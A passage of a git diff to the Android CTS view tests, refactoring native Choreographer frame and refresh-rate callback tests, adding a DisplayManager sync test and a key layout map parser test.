+                            gJni.choreographerNativeTest.checkRefreshRateIsCurrentAndSwitch,
+                            static_cast<int>(std::round(1e9f / cb->vsyncPeriod.count())));
+}
+
 static std::chrono::nanoseconds now() {
     return std::chrono::steady_clock::now().time_since_epoch();
 }
@@ -98,15 +127,15 @@
     free(msg);
 }
 
-static void verifyCallback(JNIEnv* env, Callback* cb, int expectedCount,
+static void verifyCallback(JNIEnv* env, const Callback& cb, int expectedCount,
                            std::chrono::nanoseconds startTime, std::chrono::nanoseconds maxTime) {
     std::lock_guard<std::mutex> _l{gLock};
-    ASSERT(cb->count == expectedCount, "Choreographer failed to invoke '%s' %d times - actual: %d",
-            cb->name, expectedCount, cb->count);
+    ASSERT(cb.count == expectedCount, "Choreographer failed to invoke '%s' %d times - actual: %d",
+           cb.name.c_str(), expectedCount, cb.count);
     if (maxTime > ZERO) {
-        auto duration = cb->frameTime - startTime;
+        auto duration = cb.frameTime - startTime;
         ASSERT(duration < maxTime, "Callback '%s' has incorrect frame time in invocation %d",
-                cb->name, expectedCount);
+               cb.name.c_str(), expectedCount);
     }
 }
 
@@ -120,25 +149,27 @@
     return ss.str();
 }
 
-static void verifyRefreshRateCallback(JNIEnv* env, RefreshRateCallback* cb, int expectedMin) {
+template <class T>
+static void verifyRefreshRateCallback(JNIEnv* env, const T& cb, int expectedMin) {
     std::lock_guard<std::mutex> _l(gLock);
-    ASSERT(cb->count >= expectedMin, "Choreographer failed to invoke '%s' %d times - actual: %d",
-            cb->name, expectedMin, cb->count);
+    ASSERT(cb.count >= expectedMin, "Choreographer failed to invoke '%s' %d times - actual: %d",
+           cb.name.c_str(), expectedMin, cb.count);
     // Unfortunately we can't verify the specific vsync period as public apis
     // don't provide a guarantee that we adhere to a particular refresh rate.
     // The best we can do is check that the reported period is contained in the
-    // set of suppoted periods.
-    ASSERT(cb->vsyncPeriod > ZERO,
-            "Choreographer failed to report a nonzero refresh period invoking '%s'",
-            cb->name);
-    ASSERT(gSupportedRefreshPeriods.count(cb->vsyncPeriod.count()) > 0,
-           "Choreographer failed to report a supported refresh period invoking '%s': supported periods: %s, actual: %lu",
-            cb->name, dumpSupportedRefreshPeriods().c_str(), cb->vsyncPeriod.count());
+    // set of supported periods.
+    ASSERT(cb.vsyncPeriod > ZERO,
+           "Choreographer failed to report a nonzero refresh period invoking '%s'",
+           cb.name.c_str());
+    ASSERT(gSupportedRefreshPeriods.count(cb.vsyncPeriod.count()) > 0,
+           "Choreographer failed to report a supported refresh period invoking '%s': supported "
+           "periods: %s, actual: %lu",
+           cb.name.c_str(), dumpSupportedRefreshPeriods().c_str(), cb.vsyncPeriod.count());
 }
 
-static void resetRefreshRateCallback(RefreshRateCallback* cb) {
+static void resetRefreshRateCallback(RefreshRateCallback& cb) {
     std::lock_guard<std::mutex> _l(gLock);
-    cb->count = 0;
+    cb.count = 0;
 }
 
 static jlong android_view_cts_ChoreographerNativeTest_getChoreographer(JNIEnv*, jclass) {
@@ -162,24 +193,24 @@
 static void android_view_cts_ChoreographerNativeTest_testPostCallback64WithoutDelayEventuallyRunsCallback(
         JNIEnv* env, jclass, jlong choreographerPtr) {
     AChoreographer* choreographer = reinterpret_cast<AChoreographer*>(choreographerPtr);
-    Callback* cb1 = new Callback("cb1");
-    Callback* cb2 = new Callback("cb2");
+    Callback cb1("cb1");
+    Callback cb2("cb2");
     auto start = now();
 
-    AChoreographer_postFrameCallback64(choreographer, frameCallback64, cb1);
-    AChoreographer_postFrameCallback64(choreographer, frameCallback64, cb2);
+    AChoreographer_postFrameCallback64(choreographer, frameCallback64, &cb1);
+    AChoreographer_postFrameCallback64(choreographer, frameCallback64, &cb2);
     std::this_thread::sleep_for(NOMINAL_VSYNC_PERIOD * 3);
 
     verifyCallback(env, cb1, 1, start, NOMINAL_VSYNC_PERIOD * 3);
     verifyCallback(env, cb2, 1, start, NOMINAL_VSYNC_PERIOD * 3);
     {
         std::lock_guard<std::mutex> _l{gLock};
-        auto delta = cb2->frameTime - cb1->frameTime;
+        auto delta = cb2.frameTime - cb1.frameTime;
         ASSERT(delta == ZERO || delta > ZERO && delta < NOMINAL_VSYNC_PERIOD * 2,
                 "Callback 1 and 2 have frame times too large of a delta in frame times");
     }
 
-    AChoreographer_postFrameCallback64(choreographer, frameCallback64, cb1);
+    AChoreographer_postFrameCallback64(choreographer, frameCallback64, &cb1);
     start = now();
     std::this_thread::sleep_for(NOMINAL_VSYNC_PERIOD * 3);
     verifyCallback(env, cb1, 2, start, NOMINAL_VSYNC_PERIOD * 3);
@@ -189,11 +220,11 @@
 static void android_view_cts_ChoreographerNativeTest_testPostCallback64WithDelayEventuallyRunsCallback(
         JNIEnv* env, jclass, jlong choreographerPtr) {
     AChoreographer* choreographer = reinterpret_cast<AChoreographer*>(choreographerPtr);
-    Callback* cb1 = new Callback("cb1");
+    Callback cb1 = Callback("cb1");
     auto start = now();
 
     auto delay = std::chrono::duration_cast<std::chrono::milliseconds>(DELAY_PERIOD).count();
-    AChoreographer_postFrameCallbackDelayed64(choreographer, frameCallback64, cb1, delay);
+    AChoreographer_postFrameCallbackDelayed64(choreographer, frameCallback64, &cb1, delay);
 
     std::this_thread::sleep_for(NOMINAL_VSYNC_PERIOD * 3);
     verifyCallback(env, cb1, 0, start, ZERO);
@@ -205,16 +236,16 @@
 static void android_view_cts_ChoreographerNativeTest_testPostCallbackWithoutDelayEventuallyRunsCallback(
         JNIEnv* env, jclass, jlong choreographerPtr) {
     AChoreographer* choreographer = reinterpret_cast<AChoreographer*>(choreographerPtr);
-    Callback* cb1 = new Callback("cb1");
-    Callback* cb2 = new Callback("cb2");
+    Callback cb1("cb1");
+    Callback cb2("cb2");
     auto start = now();
     const auto delay = NOMINAL_VSYNC_PERIOD * 3;
     // Delay calculations are known to be broken on 32-bit systems (overflow),
     // so we skip testing the delay on such systems by setting this to ZERO.
     const auto delayToTest = sizeof(long) == sizeof(int64_t) ? delay : ZERO;
 
-    AChoreographer_postFrameCallback(choreographer, frameCallback, cb1);
-    AChoreographer_postFrameCallback(choreographer, frameCallback, cb2);
+    AChoreographer_postFrameCallback(choreographer, frameCallback, &cb1);
+    AChoreographer_postFrameCallback(choreographer, frameCallback, &cb2);
     std::this_thread::sleep_for(delay);
 
     verifyCallback(env, cb1, 1, start, delayToTest);
@@ -224,12 +255,12 @@
     // part of the test on systems known to be broken.
     if (sizeof(long) == sizeof(int64_t)) {
         std::lock_guard<std::mutex> _l{gLock};
-        auto delta = cb2->frameTime - cb1->frameTime;
+        auto delta = cb2.frameTime - cb1.frameTime;
         ASSERT(delta == ZERO || delta > ZERO && delta < NOMINAL_VSYNC_PERIOD * 2,
                 "Callback 1 and 2 have frame times too large of a delta in frame times");
     }
 
-    AChoreographer_postFrameCallback(choreographer, frameCallback, cb1);
+    AChoreographer_postFrameCallback(choreographer, frameCallback, &cb1);
     start = now();
     std::this_thread::sleep_for(delay);
 
@@ -245,11 +276,11 @@
     }
 
     AChoreographer* choreographer = reinterpret_cast<AChoreographer*>(choreographerPtr);
-    Callback* cb1 = new Callback("cb1");
+    Callback cb1("cb1");
     auto start = now();
 
     auto delay = std::chrono::duration_cast<std::chrono::milliseconds>(DELAY_PERIOD).count();
-    AChoreographer_postFrameCallbackDelayed(choreographer, frameCallback, cb1, delay);
+    AChoreographer_postFrameCallbackDelayed(choreographer, frameCallback, &cb1, delay);
 
     std::this_thread::sleep_for(NOMINAL_VSYNC_PERIOD * 3);
     verifyCallback(env, cb1, 0, start, ZERO);
@@ -263,12 +294,12 @@
 static void android_view_cts_ChoreographerNativeTest_testPostCallbackMixedWithoutDelayEventuallyRunsCallback(
         JNIEnv* env, jclass, jlong choreographerPtr) {
     AChoreographer* choreographer = reinterpret_cast<AChoreographer*>(choreographerPtr);
-    Callback* cb1 = new Callback("cb1");
-    Callback* cb64 = new Callback("cb64");
+    Callback cb1("cb1");
+    Callback cb64("cb64");
     auto start = now();
 
-    AChoreographer_postFrameCallback(choreographer, frameCallback, cb1);
-    AChoreographer_postFrameCallback64(choreographer, frameCallback64, cb64);
+    AChoreographer_postFrameCallback(choreographer, frameCallback, &cb1);
+    AChoreographer_postFrameCallback64(choreographer, frameCallback64, &cb64);
     std::this_thread::sleep_for(NOMINAL_VSYNC_PERIOD * 3);
 
     verifyCallback(env, cb1, 1, start, ZERO);
@@ -278,12 +309,12 @@
     // part of the test on systems known to be broken.
     if (sizeof(long) == sizeof(int64_t)) {
         std::lock_guard<std::mutex> _l{gLock};
-        auto delta = cb64->frameTime - cb1->frameTime;
+        auto delta = cb64.frameTime - cb1.frameTime;
         ASSERT(delta == ZERO || delta > ZERO && delta < NOMINAL_VSYNC_PERIOD * 2,
                 "Callback 1 and 2 have frame times too large of a delta in frame times");
     }
 
-    AChoreographer_postFrameCallback64(choreographer, frameCallback64, cb64);
+    AChoreographer_postFrameCallback64(choreographer, frameCallback64, &cb64);
     start = now();
     std::this_thread::sleep_for(NOMINAL_VSYNC_PERIOD * 3);
     verifyCallback(env, cb1, 1, start, ZERO);
@@ -293,13 +324,13 @@
 static void android_view_cts_ChoreographerNativeTest_testPostCallbackMixedWithDelayEventuallyRunsCallback(
         JNIEnv* env, jclass, jlong choreographerPtr) {
     AChoreographer* choreographer = reinterpret_cast<AChoreographer*>(choreographerPtr);
-    Callback* cb1 = new Callback("cb1");
-    Callback* cb64 = new Callback("cb64");
+    Callback cb1("cb1");
+    Callback cb64("cb64");
     auto start = now();
 
     auto delay = std::chrono::duration_cast<std::chrono::milliseconds>(DELAY_PERIOD).count();
-    AChoreographer_postFrameCallbackDelayed(choreographer, frameCallback, cb1, delay);
-    AChoreographer_postFrameCallbackDelayed64(choreographer, frameCallback64, cb64, delay);
+    AChoreographer_postFrameCallbackDelayed(choreographer, frameCallback, &cb1, delay);
+    AChoreographer_postFrameCallbackDelayed64(choreographer, frameCallback64, &cb64, delay);
 
     std::this_thread::sleep_for(NOMINAL_VSYNC_PERIOD * 3);
     verifyCallback(env, cb1, 0, start, ZERO);
@@ -315,84 +346,84 @@
 static void android_view_cts_ChoreographerNativeTest_testRefreshRateCallback(
         JNIEnv* env, jclass, jlong choreographerPtr) {
     AChoreographer* choreographer = reinterpret_cast<AChoreographer*>(choreographerPtr);
-    RefreshRateCallback* cb = new RefreshRateCallback("cb");
+    RefreshRateCallback cb("cb");
 
-    AChoreographer_registerRefreshRateCallback(choreographer, refreshRateCallback, cb);
+    AChoreographer_registerRefreshRateCallback(choreographer, refreshRateCallback, &cb);
 
     // Give the display system time to push an initial callback.
     std::this_thread::sleep_for(NOMINAL_VSYNC_PERIOD * 10);
-    verifyRefreshRateCallback(env, cb, 1);
-    AChoreographer_unregisterRefreshRateCallback(choreographer, refreshRateCallback, cb);
+    verifyRefreshRateCallback<RefreshRateCallback>(env, cb, 1);
+    AChoreographer_unregisterRefreshRateCallback(choreographer, refreshRateCallback, &cb);
 }
 
 static void android_view_cts_ChoreographerNativeTest_testUnregisteringRefreshRateCallback(
         JNIEnv* env, jclass, jlong choreographerPtr) {
     AChoreographer* choreographer = reinterpret_cast<AChoreographer*>(choreographerPtr);
-    RefreshRateCallback* cb1 = new RefreshRateCallback("cb1");
-    RefreshRateCallback* cb2 = new RefreshRateCallback("cb2");
+    RefreshRateCallback cb1("cb1");
+    RefreshRateCallback cb2("cb2");
 
-    AChoreographer_registerRefreshRateCallback(choreographer, refreshRateCallback, cb1);
+    AChoreographer_registerRefreshRateCallback(choreographer, refreshRateCallback, &cb1);
 
     // Give the display system time to push an initial callback.
     std::this_thread::sleep_for(NOMINAL_VSYNC_PERIOD * 10);
-    verifyRefreshRateCallback(env, cb1, 1);
+    verifyRefreshRateCallback<RefreshRateCallback>(env, cb1, 1);
 
-    AChoreographer_unregisterRefreshRateCallback(choreographer, refreshRateCallback, cb1);
+    AChoreographer_unregisterRefreshRateCallback(choreographer, refreshRateCallback, &cb1);
     // Flush out pending callback events for the callback
     std::this_thread::sleep_for(NOMINAL_VSYNC_PERIOD * 10);
     resetRefreshRateCallback(cb1);
 
-    AChoreographer_registerRefreshRateCallback(choreographer, refreshRateCallback, cb2);
+    AChoreographer_registerRefreshRateCallback(choreographer, refreshRateCallback, &cb2);
     // Verify that cb2 is called on registration, but not cb1.
     std::this_thread::sleep_for(NOMINAL_VSYNC_PERIOD * 10);
-    verifyRefreshRateCallback(env, cb1, 0);
-    verifyRefreshRateCallback(env, cb2, 1);
-    AChoreographer_unregisterRefreshRateCallback(choreographer, refreshRateCallback, cb2);
+    verifyRefreshRateCallback<RefreshRateCallback>(env, cb1, 0);
+    verifyRefreshRateCallback<RefreshRateCallback>(env, cb2, 1);
+    AChoreographer_unregisterRefreshRateCallback(choreographer, refreshRateCallback, &cb2);
 }
 
 static void android_view_cts_ChoreographerNativeTest_testMultipleRefreshRateCallbacks(
         JNIEnv* env, jclass, jlong choreographerPtr) {
     AChoreographer* choreographer = reinterpret_cast<AChoreographer*>(choreographerPtr);
-    RefreshRateCallback* cb1 = new RefreshRateCallback("cb1");
-    RefreshRateCallback* cb2 = new RefreshRateCallback("cb2");
+    RefreshRateCallback cb1("cb1");
+    RefreshRateCallback cb2("cb2");
 
-    AChoreographer_registerRefreshRateCallback(choreographer, refreshRateCallback, cb1);
-    AChoreographer_registerRefreshRateCallback(choreographer, refreshRateCallback, cb2);
+    AChoreographer_registerRefreshRateCallback(choreographer, refreshRateCallback, &cb1);
+    AChoreographer_registerRefreshRateCallback(choreographer, refreshRateCallback, &cb2);
 
     // Give the display system time to push an initial refresh rate change.
     // Polling the event will allow both callbacks to be triggered.
     std::this_thread::sleep_for(NOMINAL_VSYNC_PERIOD * 10);
-    verifyRefreshRateCallback(env, cb1, 1);
-    verifyRefreshRateCallback(env, cb2, 1);
+    verifyRefreshRateCallback<RefreshRateCallback>(env, cb1, 1);
+    verifyRefreshRateCallback<RefreshRateCallback>(env, cb2, 1);
 
-    AChoreographer_unregisterRefreshRateCallback(choreographer, refreshRateCallback, cb1);
-    AChoreographer_unregisterRefreshRateCallback(choreographer, refreshRateCallback, cb2);
+    AChoreographer_unregisterRefreshRateCallback(choreographer, refreshRateCallback, &cb1);
+    AChoreographer_unregisterRefreshRateCallback(choreographer, refreshRateCallback, &cb2);
 }
 
 static void android_view_cts_ChoreographerNativeTest_testAttemptToAddRefreshRateCallbackTwiceDoesNotAddTwice(
         JNIEnv* env, jclass, jlong choreographerPtr) {
     AChoreographer* choreographer = reinterpret_cast<AChoreographer*>(choreographerPtr);
-    RefreshRateCallback* cb1 = new RefreshRateCallback("cb1");
-    RefreshRateCallback* cb2 = new RefreshRateCallback("cb2");
+    RefreshRateCallback cb1("cb1");
+    RefreshRateCallback cb2("cb2");
 
-    AChoreographer_registerRefreshRateCallback(choreographer, refreshRateCallback, cb1);
-    AChoreographer_registerRefreshRateCallback(choreographer, refreshRateCallback, cb1);
+    AChoreographer_registerRefreshRateCallback(choreographer, refreshRateCallback, &cb1);
+    AChoreographer_registerRefreshRateCallback(choreographer, refreshRateCallback, &cb1);
 
     // Give the display system time to push an initial callback.
     std::this_thread::sleep_for(NOMINAL_VSYNC_PERIOD * 10);
-    verifyRefreshRateCallback(env, cb1, 1);
+    verifyRefreshRateCallback<RefreshRateCallback>(env, cb1, 1);
 
-    AChoreographer_unregisterRefreshRateCallback(choreographer, refreshRateCallback, cb1);
+    AChoreographer_unregisterRefreshRateCallback(choreographer, refreshRateCallback, &cb1);
     // Flush out pending callback events for the callback
     std::this_thread::sleep_for(NOMINAL_VSYNC_PERIOD * 10);
     resetRefreshRateCallback(cb1);
 
-    AChoreographer_registerRefreshRateCallback(choreographer, refreshRateCallback, cb2);
+    AChoreographer_registerRefreshRateCallback(choreographer, refreshRateCallback, &cb2);
     // Verify that cb1 is not called again, even thiough it was registered once
     // and unregistered again
     std::this_thread::sleep_for(NOMINAL_VSYNC_PERIOD * 10);
-    verifyRefreshRateCallback(env, cb1, 0);
-    AChoreographer_unregisterRefreshRateCallback(choreographer, refreshRateCallback, cb2);
+    verifyRefreshRateCallback<RefreshRateCallback>(env, cb1, 0);
+    AChoreographer_unregisterRefreshRateCallback(choreographer, refreshRateCallback, &cb2);
 }
 
 // This test must be run on the UI thread for fine-grained control of looper
@@ -400,27 +431,27 @@
 static void android_view_cts_ChoreographerNativeTest_testRefreshRateCallbackMixedWithFrameCallbacks(
         JNIEnv* env, jclass, jlong choreographerPtr) {
     AChoreographer* choreographer = reinterpret_cast<AChoreographer*>(choreographerPtr);
-    RefreshRateCallback* cb = new RefreshRateCallback("cb");
+    RefreshRateCallback cb("cb");
 
-    AChoreographer_registerRefreshRateCallback(choreographer, refreshRateCallback, cb);
+    AChoreographer_registerRefreshRateCallback(choreographer, refreshRateCallback, &cb);
 
-    Callback* cb1 = new Callback("cb1");
-    Callback* cb64 = new Callback("cb64");
+    Callback cb1("cb1");
+    Callback cb64("cb64");
     auto start = now();
 
     auto vsyncPeriod = std::chrono::duration_cast<std::chrono::milliseconds>(
                            NOMINAL_VSYNC_PERIOD)
                            .count();
     auto delay = std::chrono::duration_cast<std::chrono::milliseconds>(DELAY_PERIOD).count();
-    AChoreographer_postFrameCallbackDelayed(choreographer, frameCallback, cb1, delay);
-    AChoreographer_postFrameCallbackDelayed64(choreographer, frameCallback64, cb64, delay);
+    AChoreographer_postFrameCallbackDelayed(choreographer, frameCallback, &cb1, delay);
+    AChoreographer_postFrameCallbackDelayed64(choreographer, frameCallback64, &cb64, delay);
 
     std::this_thread::sleep_for(DELAY_PERIOD + NOMINAL_VSYNC_PERIOD * 10);
     // Ensure that callbacks are seen by the looper instance at approximately
     // the same time, and provide enough time for the looper instance to process
     // the delayed callback and the requested vsync signal if needed.
     ALooper_pollAll(vsyncPeriod * 5, nullptr, nullptr, nullptr);
-    verifyRefreshRateCallback(env, cb, 1);
+    verifyRefreshRateCallback<RefreshRateCallback>(env, cb, 1);
     verifyCallback(env, cb64, 1, start,
                    DELAY_PERIOD + NOMINAL_VSYNC_PERIOD * 15);
     const auto delayToTestFor32Bit =
@@ -428,41 +459,89 @@
             ? DELAY_PERIOD + NOMINAL_VSYNC_PERIOD * 15
             : ZERO;
     verifyCallback(env, cb1, 1, start, delayToTestFor32Bit);
-    AChoreographer_unregisterRefreshRateCallback(choreographer, refreshRateCallback, cb);
+    AChoreographer_unregisterRefreshRateCallback(choreographer, refreshRateCallback, &cb);
+}
+
+// This test cannot be run on the UI thread because it relies on callbacks to be dispatched on the
+// application UI thread.
+static void
+android_view_cts_ChoreographerNativeTest_testRefreshRateCallbacksAreSyncedWithDisplayManager(
+        JNIEnv* env, jobject clazz) {
+    // Test harness choreographer is not on the main thread, so create a thread-local choreographer
+    // instance.
+    ALooper_prepare(0);
+    AChoreographer* choreographer = AChoreographer_getInstance();
+    RefreshRateCallbackWithDisplayManager cb("cb", env, clazz);
+
+    AChoreographer_registerRefreshRateCallback(choreographer, refreshRateCallbackWithDisplayManager,
+                                               &cb);
+
+    auto delayPeriod = std::chrono::duration_cast<std::chrono::milliseconds>(DELAY_PERIOD).count();
+
+    const size_t numRuns = 1000;
+    int previousCount = 0;
+    for (int i = 0; i < numRuns; ++i) {
+        const size_t numTries = 5;
+        for (int j = 0; j < numTries; j++) {
+            // In theory we only need to poll once because the test harness configuration should
+            // enforce that we won't get spurious callbacks. In practice, there may still be
+            // spurious callbacks due to hotplug or other display events that aren't suppressed. So
+            // we add some slack by retrying a few times, but we stop at the first refresh rate
+            // callback (1) to keep the test runtime reasonably short, and (2) to keep the test
+            // under better control so that it does not spam the system with refresh rate changes.
+            int result = ALooper_pollOnce(delayPeriod * 5, nullptr, nullptr, nullptr);
+            ASSERT(result == ALOOPER_POLL_CALLBACK, "Callback failed on run: %d with error: %d", i,
+                   result);
+            if (previousCount != cb.count) {
+                verifyRefreshRateCallback<RefreshRateCallbackWithDisplayManager>(env, cb,
+                                                                                 previousCount + 1);
+                previousCount = cb.count;
+                break;
+            }
+
+            ASSERT(j < numTries - 1, "No callback observed for run: %d", i);
+        }
+    }
+    AChoreographer_unregisterRefreshRateCallback(choreographer, refreshRateCallback, &cb);
 }
 
 static JNINativeMethod gMethods[] = {
-    {  "nativeGetChoreographer", "()J",
-            (void *) android_view_cts_ChoreographerNativeTest_getChoreographer},
-    {  "nativePrepareChoreographerTests", "(J[J)Z",
-            (void *) android_view_cts_ChoreographerNativeTest_prepareChoreographerTests},
-    {  "nativeTestPostCallback64WithoutDelayEventuallyRunsCallbacks", "(J)V",
-            (void *) android_view_cts_ChoreographerNativeTest_testPostCallback64WithoutDelayEventuallyRunsCallback},
-    {  "nativeTestPostCallback64WithDelayEventuallyRunsCallbacks", "(J)V",
-            (void *) android_view_cts_ChoreographerNativeTest_testPostCallback64WithDelayEventuallyRunsCallback},
-    {  "nativeTestPostCallbackWithoutDelayEventuallyRunsCallbacks", "(J)V",
-            (void *) android_view_cts_ChoreographerNativeTest_testPostCallbackWithoutDelayEventuallyRunsCallback},
-    {  "nativeTestPostCallbackWithDelayEventuallyRunsCallbacks", "(J)V",
-            (void *) android_view_cts_ChoreographerNativeTest_testPostCallbackWithDelayEventuallyRunsCallback},
-    {  "nativeTestPostCallbackMixedWithoutDelayEventuallyRunsCallbacks", "(J)V",
-            (void *) android_view_cts_ChoreographerNativeTest_testPostCallbackMixedWithoutDelayEventuallyRunsCallback},
-    {  "nativeTestPostCallbackMixedWithDelayEventuallyRunsCallbacks", "(J)V",
-            (void *) android_view_cts_ChoreographerNativeTest_testPostCallbackMixedWithDelayEventuallyRunsCallback},
-    {  "nativeTestRefreshRateCallback", "(J)V",
-            (void *) android_view_cts_ChoreographerNativeTest_testRefreshRateCallback},
-    {  "nativeTestUnregisteringRefreshRateCallback", "(J)V",
-            (void *) android_view_cts_ChoreographerNativeTest_testUnregisteringRefreshRateCallback},
-    {  "nativeTestMultipleRefreshRateCallbacks", "(J)V",
-            (void *) android_view_cts_ChoreographerNativeTest_testMultipleRefreshRateCallbacks},
-    {  "nativeTestAttemptToAddRefreshRateCallbackTwiceDoesNotAddTwice", "(J)V",
-            (void *) android_view_cts_ChoreographerNativeTest_testAttemptToAddRefreshRateCallbackTwiceDoesNotAddTwice},
-    {  "nativeTestRefreshRateCallbackMixedWithFrameCallbacks", "(J)V",
-            (void *) android_view_cts_ChoreographerNativeTest_testRefreshRateCallbackMixedWithFrameCallbacks},
+        {"nativeGetChoreographer", "()J",
+         (void*)android_view_cts_ChoreographerNativeTest_getChoreographer},
+        {"nativePrepareChoreographerTests", "(J[J)Z",
+         (void*)android_view_cts_ChoreographerNativeTest_prepareChoreographerTests},
+        {"nativeTestPostCallback64WithoutDelayEventuallyRunsCallbacks", "(J)V",
+         (void*)android_view_cts_ChoreographerNativeTest_testPostCallback64WithoutDelayEventuallyRunsCallback},
+        {"nativeTestPostCallback64WithDelayEventuallyRunsCallbacks", "(J)V",
+         (void*)android_view_cts_ChoreographerNativeTest_testPostCallback64WithDelayEventuallyRunsCallback},
+        {"nativeTestPostCallbackWithoutDelayEventuallyRunsCallbacks", "(J)V",
+         (void*)android_view_cts_ChoreographerNativeTest_testPostCallbackWithoutDelayEventuallyRunsCallback},
+        {"nativeTestPostCallbackWithDelayEventuallyRunsCallbacks", "(J)V",
+         (void*)android_view_cts_ChoreographerNativeTest_testPostCallbackWithDelayEventuallyRunsCallback},
+        {"nativeTestPostCallbackMixedWithoutDelayEventuallyRunsCallbacks", "(J)V",
+         (void*)android_view_cts_ChoreographerNativeTest_testPostCallbackMixedWithoutDelayEventuallyRunsCallback},
+        {"nativeTestPostCallbackMixedWithDelayEventuallyRunsCallbacks", "(J)V",
+         (void*)android_view_cts_ChoreographerNativeTest_testPostCallbackMixedWithDelayEventuallyRunsCallback},
+        {"nativeTestRefreshRateCallback", "(J)V",
+         (void*)android_view_cts_ChoreographerNativeTest_testRefreshRateCallback},
+        {"nativeTestUnregisteringRefreshRateCallback", "(J)V",
+         (void*)android_view_cts_ChoreographerNativeTest_testUnregisteringRefreshRateCallback},
+        {"nativeTestMultipleRefreshRateCallbacks", "(J)V",
+         (void*)android_view_cts_ChoreographerNativeTest_testMultipleRefreshRateCallbacks},
+        {"nativeTestAttemptToAddRefreshRateCallbackTwiceDoesNotAddTwice", "(J)V",
+         (void*)android_view_cts_ChoreographerNativeTest_testAttemptToAddRefreshRateCallbackTwiceDoesNotAddTwice},
+        {"nativeTestRefreshRateCallbackMixedWithFrameCallbacks", "(J)V",
+         (void*)android_view_cts_ChoreographerNativeTest_testRefreshRateCallbackMixedWithFrameCallbacks},
+        {"nativeTestRefreshRateCallbacksAreSyncedWithDisplayManager", "()V",
+         (void*)android_view_cts_ChoreographerNativeTest_testRefreshRateCallbacksAreSyncedWithDisplayManager},
 };
 
 int register_android_view_cts_ChoreographerNativeTest(JNIEnv* env)
 {
     jclass clazz = env->FindClass("android/view/cts/ChoreographerNativeTest");
+    gJni.choreographerNativeTest.clazz = static_cast<jclass>(env->NewGlobalRef(clazz));
+    gJni.choreographerNativeTest.checkRefreshRateIsCurrentAndSwitch =
+            env->GetMethodID(clazz, "checkRefreshRateIsCurrentAndSwitch", "(I)V");
     return env->RegisterNatives(clazz, gMethods,
             sizeof(gMethods) / sizeof(JNINativeMethod));
 }
diff --git a/tests/tests/view/jni/android_view_cts_InputDeviceKeyLayoutMapTest.cpp b/tests/tests/view/jni/android_view_cts_InputDeviceKeyLayoutMapTest.cpp
new file mode 100644
index 0000000..4d2c810
--- /dev/null
+++ b/tests/tests/view/jni/android_view_cts_InputDeviceKeyLayoutMapTest.cpp
@@ -0,0 +1,112 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ *
+ */
+
+#include <android/input.h>
+
+#include <jni.h>
+
+#include <stdarg.h>
+#include <stdio.h>
+#include <stdlib.h>
+#include <string.h>
+#include <sstream>
+
+#include <nativehelper/ScopedLocalRef.h>
+#include <nativehelper/ScopedUtfChars.h>
+#include <map>
+#include <unordered_map>
+#include <vector>
+
+#define LOG_TAG "InputDeviceKeyLayoutMapTest"
+
+namespace android {
+
+// Loads Generic.kl file and returns it as a std::map from scancode to key code.
+std::map<int, std::string> loadGenericKl(std::string genericKl) {
+    std::map<int, std::string> result;
+    std::istringstream ssFile(genericKl);
+
+    for (std::string line; std::getline(ssFile, line);) {
+        if (line.empty() || line[0] == '#') {
+            // Skip the comment lines
+            continue;
+        }
+
+        std::string type, code, label, flags;
+        std::istringstream ssLine(line);
+        ssLine >> type >> code >> label >> flags;
+
+        // Skip non-key mappings.
+        if (type != "key") {
+            continue;
+        }
+
+        // Skip HID usage keys.
+        if (code == "usage") {
+            continue;
+        }
+
+        // Skip keys with flags like "FUNCTION"
+        if (!flags.empty()) {
+            continue;
+        }
+
+        result.emplace(std::stoi(code), label);
+    }
+
+    return result;
+}
+
+static jobject android_view_cts_nativeLoadKeyLayout(JNIEnv* env, jclass, jstring genericKl) {
+    ScopedUtfChars keyLayout(env, genericKl);
+    if (keyLayout.c_str() == nullptr) {
+        return nullptr;
+    }
+    std::map<int, std::string> map = loadGenericKl(keyLayout.c_str());
+
+    ScopedLocalRef<jclass> hashMapClazz(env, env->FindClass("java/util/HashMap"));
+
+    jmethodID hashMapConstructID = env->GetMethodID(hashMapClazz.get(), "<init>", "()V");
+
+    jmethodID hashMapPutID =
+            env->GetMethodID(hashMapClazz.get(), "put",
+                             "(Ljava/lang/Object;Ljava/lang/Object;)Ljava/lang/Object;");
+
+    ScopedLocalRef<jclass> integerClazz(env, env->FindClass("java/lang/Integer"));
+
+    jmethodID integerConstructID = env->GetMethodID(integerClazz.get(), "<init>", "(I)V");
+
+    jobject keyLayoutMap = env->NewObject(hashMapClazz.get(), hashMapConstructID);
+
+    for (const auto& [key, label] : map) {
+        env->CallObjectMethod(keyLayoutMap, hashMapPutID, env->NewStringUTF(label.c_str()),
+                              env->NewObject(integerClazz.get(), integerConstructID, key));
+    }
+    return keyLayoutMap;
+}
+
+} // namespace android
+
+static JNINativeMethod gMethods[] = {
+        {"nativeLoadKeyLayout", "(Ljava/lang/String;)Ljava/util/Map;",
+         (void*)android::android_view_cts_nativeLoadKeyLayout},
+};
+
+int register_android_view_cts_InputDeviceKeyLayoutMapTest(JNIEnv* env) {
+    jclass clazz = env->FindClass("android/view/cts/InputDeviceKeyLayoutMapTest");
+    return env->RegisterNatives(clazz, gMethods, sizeof(gMethods) / sizeof(JNINativeMethod));
+}
diff --git a/tests/tests/view/jni/jniAssert.h b/tests/tests/view/jni/jniAssert.h
new file mode 100644
index 0000000..eaf9695
--- /dev/null
+++ b/tests/tests/view/jni/jniAssert.h
@@ -0,0 +1,42 @@
+/*
+ * Copyright 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#include <jni.h>
+#include <nativehelper/JNIHelp.h>
+#include <stdio.h>
+#include <stdlib.h>
+
+// Raises a java exception
+static void fail(JNIEnv *env, const char *format, ...) {
+    va_list args;
+
